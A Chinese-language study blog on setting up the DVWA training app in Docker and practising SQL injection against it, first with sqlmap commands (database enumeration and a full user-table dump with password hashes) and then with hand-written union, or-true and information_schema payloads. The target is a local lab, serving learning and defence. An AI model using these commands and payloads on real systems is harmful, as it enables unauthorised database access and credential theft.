1.dvwa环境搭建
因为要学习sqlmap,所以需要搭一个测试环境。
查了网上资料http://www.360doc.com/content/13/0614/22/11029609_292922372.shtml,打算搞个dvwa环境。
DVWA全称是Damn Vulnerable Web Application,它是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
看到一篇介绍DVWA的文章《DVWA中学习PHP常见漏洞及修复方法》,不错。
如果要完全自己搭建,可以参考这篇文章《 一起学安全测试——自己搭建安全测试环境(DVWA)》。
DVWA官网http://www.dvwa.co.uk/,打开速度比较慢,如果要下载可以去https://github.com/ethicalhack3r/DVWA。
我是在docker中安装,不需要参考上面的文章,非常简单,这就是docker技术的优势所在。
安装过程
$ docker run -it -p 80:80 vulnerables/web-dvwa
Unable to find image 'vulnerables/web-dvwa:latest' locally
latest: Pulling from vulnerables/web-dvwa
3e17c6eae66c: Pull complete
0c57df616dbf: Pull complete
eb05d18be401: Pull complete
e9968e5981d2: Pull complete
2cd72dba8257: Pull complete
6cff5f35147f: Pull complete
098cffd43466: Pull complete
b3d64a33242d: Pull complete
Digest: sha256:dae203fe11646a86937bf04db0079adef295f426da68a92b40e3b181f337daa7
Status: Downloaded newer image for vulnerables/web-dvwa:latest
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld ..
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
. ok
==> /var/log/apache2/access.log <==
这样就完成了。apache和mysql已经集成好了,完全不再需要配置。
在浏览器中输入地址 192.168.99.100,可以打开设置界面
setup.php就是设置界面,注意上面的提示,默认用户名和口令是admin/password。
把网页往下拉
点Create / Reset Database创建dvwa数据库。创建成功后会自动跳转到登录页面。
输入admin/password,进入dvwa的主界面
至此,环境搭建安装了,总共就花了10分钟。
2.sqlmap练习
sqlmap的安装和配置参见《2019-2-16 sqlmap安装和应用》。有一篇sqlmap介绍文章《Sqlmap中文手册》,可以参考学习。
2-1. sql注入:SQL Injection。包含:找到数据库信息,表信息,数据信息。
我用的是火狐浏览器,先按F12打开开发者工具。
接着在dvwa页面中选择左边导航中的“sql injection”,然后在user id中输入数字“333”,点击submit,此时可以看到如下界面。
HTTP请求有很多种方法,各种方法(GET、POST、cookie和User-Agent等)携带不同参数,合法有效的请求需要携带了特定参数以特定方法发起http请求。Sqlmap运行时除了需要指定目标,有时还需要指定HTTP请求的一些细节。
从上面图片中可以发现,此时http请求采用的是get方法,参数有2个id=333&Submit=Submit。
右下角还显示了cookie信息。
PHPSESSID j58548g0ejpkr8jo2k4ggjm3f2
security low
关于cookie,有两种情况sqlmap会用到:
【step1.列出数据库信息】
开始sqlmap连接,先来个最简单的
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --dbs
___
__H__
___ ___[']_____ ___ ___ {1.3.2.22#dev}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:59:14 /2019-02-17/
[19:59:14] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.99.100:80/login.php'. Do you want to follow? [Y/n] y
[19:59:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:59:24] [INFO] testing if the target URL content is stable
[19:59:24] [WARNING] GET parameter 'id' does not appear to be dynamic
[19:59:24] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[19:59:24] [INFO] testing for SQL injection on GET parameter 'id'
[19:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:59:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:59:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:59:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:59:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:59:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:59:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:59:26] [INFO] testing 'MySQL inline queries'
[19:59:26] [INFO] testing 'PostgreSQL inline queries'
[19:59:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:59:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:59:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:59:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[19:59:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[19:59:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[19:59:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[19:59:27] [INFO] testing 'Oracle AND time-based blind'
[19:59:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[19:59:29] [WARNING] GET parameter 'id' does not seem to be injectable
[19:59:29] [WARNING] GET parameter 'Submit' does not appear to be dynamic
[19:59:29] [WARNING] heuristic (basic) test shows that GET parameter 'Submit' might not be injectable
[19:59:29] [INFO] testing for SQL injection on GET parameter 'Submit'
[19:59:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:59:30] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:59:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:59:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:59:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:59:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:59:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:59:31] [INFO] testing 'MySQL inline queries'
[19:59:31] [INFO] testing 'PostgreSQL inline queries'
[19:59:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:59:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:59:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:59:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[19:59:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[19:59:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[19:59:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[19:59:32] [INFO] testing 'Oracle AND time-based blind'
[19:59:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[19:59:35] [WARNING] GET parameter 'Submit' does not seem to be injectable
[19:59:35] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 19:59:35 /2019-02-17/
-u参数表示url,指定连接目标
–dbs表示列出目标有哪些数据库
本次连接失败,仅仅有目标地址(-u)是不够的,提示要更多信息。
我们再加入刚才查到的cookie信息
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --cookie "security=low;PHPSESSID=j58548g0ejpkr8jo2k4ggjm3f2" --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.3.2.22#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:00:53 /2019-02-17/
[20:00:53] [INFO] testing connection to the target URL
[20:00:53] [INFO] testing if the target URL content is stable
[20:00:54] [INFO] target URL content is stable
[20:00:54] [INFO] testing if GET parameter 'id' is dynamic
[20:00:54] [WARNING] GET parameter 'id' does not appear to be dynamic
[20:00:54] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[20:00:54] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[20:00:54] [INFO] testing for SQL injection on GET parameter 'id'
省略
[20:03:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[20:03:12] [INFO] fetching database names
[20:03:12] [INFO] used SQL query returns 2 entries
[20:03:12] [INFO] retrieved: 'dvwa'
[20:03:12] [INFO] retrieved: 'information_schema'
available databases [2]:
[*] dvwa
[*] information_schema
[20:03:12] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100'
哈哈,发现2个数据库。
【step2.列出表信息】
下面继续查询dvwa有哪些表
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --cookie "security=low;PHPSESSID=j58548g0ejpkr8jo2k4ggjm3f2" -D dvwa --tables
___
__H__
___ ___[(]_____ ___ ___ {1.3.2.22#dev}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:22:08 /2019-02-17/
[20:22:09] [INFO] resuming back-end DBMS 'mysql'
[20:22:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=333' OR NOT 1476=1476#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=333' OR (SELECT 4584 FROM(SELECT COUNT(*),CONCAT(0x7171787a71,(SELECT (ELT(4584=4584,1))),0x717a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zrWb&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=333' OR SLEEP(5)-- whhD&Submit=Submit
---
[20:22:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[20:22:09] [INFO] fetching tables for database: 'dvwa'
[20:22:09] [INFO] used SQL query returns 2 entries
[20:22:09] [INFO] retrieved: 'guestbook'
[20:22:09] [INFO] retrieved: 'users'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
[20:22:09] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100'
[*] ending @ 20:22:09 /2019-02-17/
找到2个表。
-D,指定数据库
–tables,列举数据库中所有表
继续查询表结构
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --cookie "security=low;PHPSESSID=j58548g0ejpkr8jo2k4ggjm3f2" -D dvwa -T users --columns
___
__H__
___ ___[.]_____ ___ ___ {1.3.2.22#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:29:04 /2019-02-17/
[20:29:05] [INFO] resuming back-end DBMS 'mysql'
[20:29:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=333' OR NOT 1476=1476#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=333' OR (SELECT 4584 FROM(SELECT COUNT(*),CONCAT(0x7171787a71,(SELECT (ELT(4584=4584,1))),0x717a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zrWb&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=333' OR SLEEP(5)-- whhD&Submit=Submit
---
[20:29:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[20:29:05] [INFO] fetching columns for table 'users' in database 'dvwa'
[20:29:05] [INFO] used SQL query returns 8 entries
[20:29:05] [INFO] retrieved: 'user_id'
[20:29:05] [INFO] retrieved: 'int(6)'
[20:29:05] [INFO] retrieved: 'first_name'
[20:29:05] [INFO] retrieved: 'varchar(15)'
[20:29:05] [INFO] retrieved: 'last_name'
[20:29:05] [INFO] retrieved: 'varchar(15)'
[20:29:05] [INFO] retrieved: 'user'
[20:29:05] [INFO] retrieved: 'varchar(15)'
[20:29:05] [INFO] retrieved: 'password'
[20:29:05] [INFO] retrieved: 'varchar(32)'
[20:29:05] [INFO] retrieved: 'avatar'
[20:29:05] [INFO] retrieved: 'varchar(70)'
[20:29:05] [INFO] retrieved: 'last_login'
[20:29:05] [INFO] retrieved: 'timestamp'
[20:29:05] [INFO] retrieved: 'failed_login'
[20:29:05] [INFO] retrieved: 'int(3)'
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
[20:29:05] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100'
[*] ending @ 20:29:05 /2019-02-17/
表结构也没有问题。
-T,指定表
–columns,指定表中所有列的名字和数据类型。
【step3.列出数据信息】
继续查询表中数据有几条
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --cookie "security=low;PHPSESSID=j58548g0ejpkr8jo2k4ggjm3f2" -D dvwa -T users --count
___
__H__
___ ___[)]_____ ___ ___ {1.3.2.22#dev}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:32:09 /2019-02-17/
[20:32:09] [INFO] resuming back-end DBMS 'mysql'
[20:32:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=333' OR NOT 1476=1476#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=333' OR (SELECT 4584 FROM(SELECT COUNT(*),CONCAT(0x7171787a71,(SELECT (ELT(4584=4584,1))),0x717a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zrWb&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=333' OR SLEEP(5)-- whhD&Submit=Submit
---
[20:32:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[20:32:09] [INFO] retrieved: '5'
Database: dvwa
+-------+---------+
| Table | Entries |
+-------+---------+
| users | 5 |
+-------+---------+
[20:32:09] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output
嗯,5条数据。下面把它们全部列出来。
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --cookie "security=low;PHPSESSID=j58548g0ejpkr8jo2k4ggjm3f2" -D dvwa -T users --dump
___
__H__
___ ___[']_____ ___ ___ {1.3.2.22#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:35:50 /2019-02-17/
[20:35:50] [INFO] resuming back-end DBMS 'mysql'
[20:35:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=333' OR NOT 1476=1476#&Submit=Submit
省略
Database: dvwa
Table: users
[5 entries]
+---------+-----------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+-----------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | /hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2019-02-17 12:20:01 | 0 |
| 2 | /hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2019-02-17 12:20:01 | 0 |
| 3 | /hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2019-02-17 12:20:01 | 0 |
| 4 | /hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso | Pablo | 2019-02-17 12:20:01 | 0 |
| 5 | /hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2019-02-17 12:20:01 | 0 |
+---------+-----------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[20:37:14] [INFO] table 'dvwa.users' dumped to CSV file 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100\dump\dvwa\users.csv'
[20:37:14] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100'
–dump,列举数据。它也会保存数据到CSV格式文件中,文件具体路径会在输出中给出
2-2.sql注入分析
所谓Sql注入,就是通过把SQL命令插入到Web表单提交,或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
sql注入按照参数类型分有*数字型*和*字符型*。
要了解sql注入,先要分析一下源代码。
我们可以下载dwma的源码。解压后进入vulnerabilities\sqli\source目录,这里有3个php文件,分别对应的是low、 medium和high3个级别。
也可以直接进入docker后查看文件,目录是/var/www/html/vulnerabilities/sqli/source
例1:字符型注入
观察low.php文件
root@90e68d944bc2:/var/www/html/vulnerabilities/sqli/source# cat low.php
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
{$query}
First name: {$first}
Surname: {$last}
以上代码中,$id来自界面。如果这个值被输入
' union select user,password from users#
那么组合成的sql语句就变成了
SELECT first_name, last_name FROM users WHERE user_id = '' union select user,password from users#';
我们可以把sql语句直接送入docker中的mysql执行,看看结果
root@90e68d944bc2:/var/www/html/vulnerabilities/sqli/source# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 61
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use dvwa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [dvwa]> SELECT first_name, last_name FROM users WHERE user_id = '' union select user,password from users#';
->
->
-> ;
+------------+----------------------------------+
| first_name | last_name |
+------------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+------------+----------------------------------+
5 rows in set (0.00 sec)
看到了嘛,请忽略列名,结果实际显示的是用户名和口令。直接查询一下users表就能明白了。
MariaDB [dvwa]> select * from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg | 2019-02-18 11:43:24 | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2019-02-18 11:43:24 | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg | 2019-02-18 11:43:24 | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg | 2019-02-18 11:43:24 | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg | 2019-02-18 11:43:24 | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)
现在应该可以明白这句sql的作用了
SELECT first_name, last_name FROM users WHERE user_id = '' union select user,password from users#';
这句组合而成的sql语句真正得到执行的是来自界面$id变量中的代码,也是我们真正想注入的内容。注意:mysql中#表示注释,也就是说sql语句最后的#’;都不会生效,因为被注释了。
现在回到界面上,在id中输入’ union select user,password from users#,然后提交,结果就是我们刚才解释的内容。注意:First name就是用户名,Surname当然就是password了。
唯一值得庆幸的是密码都被md5加密过了,md5加密是不可逆的。
其实发生这个问题的主要原因就是php代码中以下语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
这里$id变量没有经过任何的过滤,直接传入了sql语句,造成字符型注入。当输入的参数为字符串时,就称为字符型注入。这种类型注入中字符串一般需要通过单引号来闭合的。
例2,另外一种字符型注入
实现字符型注入的方法有很多,比如我们在界面中输入以下内容
1' or '1'='1
可以得到类似的效果,界面如下,只不过它把所有用户的first name和last name都显示出来了。
例3,判断是否可以字符型注入
那么如何才能判断是否可以字符型注入呢?我们只需要输入以下简单的内容,根据查询结果就可以判断。
输入1’,出错;输入1’’,不报错。那就可以判断id参数是字符型注入漏洞。
以下是根据不同输入的id组合而成的2句sql
SELECT first_name, last_name FROM users WHERE user_id = '1'';
SELECT first_name, last_name FROM users WHERE user_id = '1''';
其中输入1’,在dvwa界面上报错如下
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
输入1’’,不报错。可以关注一下where语句部分
SELECT first_name, last_name FROM users WHERE user_id = '1''';
在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。
在这个where语句的等号后面有2个字符串:‘1’和‘’。根据上面的原则,等号选择了‘1’,忽略了‘’。所以这句sql可以成功执行。
例4,判断查询的字段数量
要把我们自己的union语句加入程序已有的sql语句中,那就必须字段数量一致才行。所以,必须知道查询的字段到底是多少。
可以用以下代码尝试
1’ order by 5#
组合后的sql代码如下
SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 5# ';
提交后,报错如下
Unknown column '5' in 'order clause'
熟悉sql语句应该知道,查询没有5个字段,又按照字段5排序,那肯定出错。
根据这个方法反复尝试,直至最后不报错,那就能得到正确的字段数量,用于最终union使用。
例5,确定当前数据库名称
输入以下代码
1' union select 1,database() #
例6,确定指定数据库的所有表名称
输入以下代码
1' union select TABLE_SCHEMA,table_name from information_schema.tables where table_schema='dvwa' #
例7,确定指定表的字段有哪些
输入以下代码
1' union select column_name,column_type from information_schema.columns where table_name='users' and table_schema='dvwa'#
界面显示
我们感兴趣的应该就是user和password。
到这里,基本原理解释完毕,也应该明白了为什么例1能得到用户名和口令了吧。